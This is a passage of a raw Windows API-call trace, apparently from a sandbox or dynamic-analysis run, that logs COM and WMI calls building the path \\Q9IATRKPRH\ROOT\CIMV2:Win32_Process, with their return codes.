This=0x1bcdaba0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db370) returned 0x0 [0146.124] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db370, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.124] WbemDefPath:IUnknown:Release (This=0x1a9db370) returned 0x3 [0146.124] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0146.124] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0146.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0146.124] WbemDefPath:IUnknown:Release (This=0x1bcdaba0) returned 0x2 [0146.124] WbemDefPath:IUnknown:Release (This=0x1bcdaba0) returned 0x1 [0146.124] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0146.124] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0146.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdaba0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcdaba0) returned 0x0 [0146.125] WbemDefPath:IUnknown:AddRef (This=0x1bcdaba0) returned 0x3 [0146.125] WbemDefPath:IUnknown:Release (This=0x1bcdaba0) returned 0x2 [0146.125] WbemDefPath:IWbemPath:SetText (This=0x1bcdaba0, uMode=0x4, pszPath="") returned 0x0 [0146.125] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaba0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0146.125] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaae0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0146.125] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcdaba0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0146.125] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcdaba0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0146.125] WbemDefPath:IWbemPath:SetServer (This=0x1bcdaba0, Name="Q9IATRKPRH") returned 0x0 [0146.125] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0146.125] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0146.125] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0146.125] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.126] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9db390) returned 0x0 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9db390, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0146.127] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9db390, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcdac60) returned 0x0 [0146.127] WbemDefPath:IUnknown:Release (This=0x1a9db390) returned 0x0 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcdac60) returned 0x0 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0146.127] WbemDefPath:IUnknown:AddRef (This=0x1bcdac60) returned 0x3 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9db3d0) returned 0x0 [0146.127] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9db3d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.127] WbemDefPath:IUnknown:Release (This=0x1a9db3d0) returned 0x3 [0146.127] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0146.127] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0146.127] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0146.127] WbemDefPath:IUnknown:Release (This=0x1bcdac60) returned 0x2 [0146.127] WbemDefPath:IUnknown:Release (This=0x1bcdac60) returned 0x1 [0146.128] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0146.128] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0146.128] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcdac60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcdac60) returned 0x0 [0146.128] WbemDefPath:IUnknown:AddRef (This=0x1bcdac60) returned 0x3 [0146.128] WbemDefPath:IUnknown:Release (This=0x1bcdac60) returned 0x2 [0146.128] WbemDefPath:IWbemPath:SetText (This=0x1bcdac60, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaba0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdac60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdac60, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdac60, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0146.128] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcdaba0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdac60, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcdac60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcdac60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0146.128] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcdaba0, uIndex=0x0, pszName="ROOT") returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcdac60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcdac60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0146.128] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcdaba0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcdaba0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0146.128] WbemDefPath:IWbemPath:SetClassName (This=0x1bcdaba0, Name="Win32_Process") returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcdaba0, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaba0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcdaba0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcdaba0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0146.128] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0146.129] WbemDefPath:IWbemPath:GetText (in: This=0x1bcdaba0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0146.129] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0146.129] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0146.129] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0146.129] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.130] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc5380) returned 0x0 [0146.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc5380, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0146.131] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc5380, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bbc0ba0) returned 0x0 [0146.131] WbemDefPath:IUnknown:Release (This=0x1bcc5380) returned 0x0 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bbc0ba0) returned 0x0 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0146.131] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ba0) returned 0x3 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc5140) returned 0x0 [0146.131] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc5140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.131] WbemDefPath:IUnknown:Release (This=0x1bcc5140) returned 0x3 [0146.131] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0146.131] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0146.131] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x2 [0146.131] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x1 [0146.131] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0146.131] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0146.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ba0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bbc0ba0) returned 0x0 [0146.131] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ba0) returned 0x3 [0146.131] WbemDefPath:IUnknown:Release (This=0x1bbc0ba0) returned 0x2 [0146.131] WbemDefPath:IWbemPath:SetText (This=0x1bbc0ba0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0146.132] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0146.132] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0146.132] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0146.132] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0146.132] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0146.132] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0146.132] IUnknown:Release (This=0x1a943398) returned 0x1 [0146.136] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc51e0) returned 0x0 [0146.136] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc51e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0146.136] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc51e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbc0ae0) returned 0x0 [0146.137] WbemDefPath:IUnknown:Release (This=0x1bcc51e0) returned 0x0 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbc0ae0) returned 0x0 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0146.137] WbemDefPath:IUnknown:AddRef (This=0x1bbc0ae0) returned 0x3 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc5220) returned 0x0 [0146.137] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc5220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0146.137] WbemDefPath:IUnknown:Release (This=0x1bcc5220) returned 0x3 [0146.137] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0146.137] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0146.137] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc0ae0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, 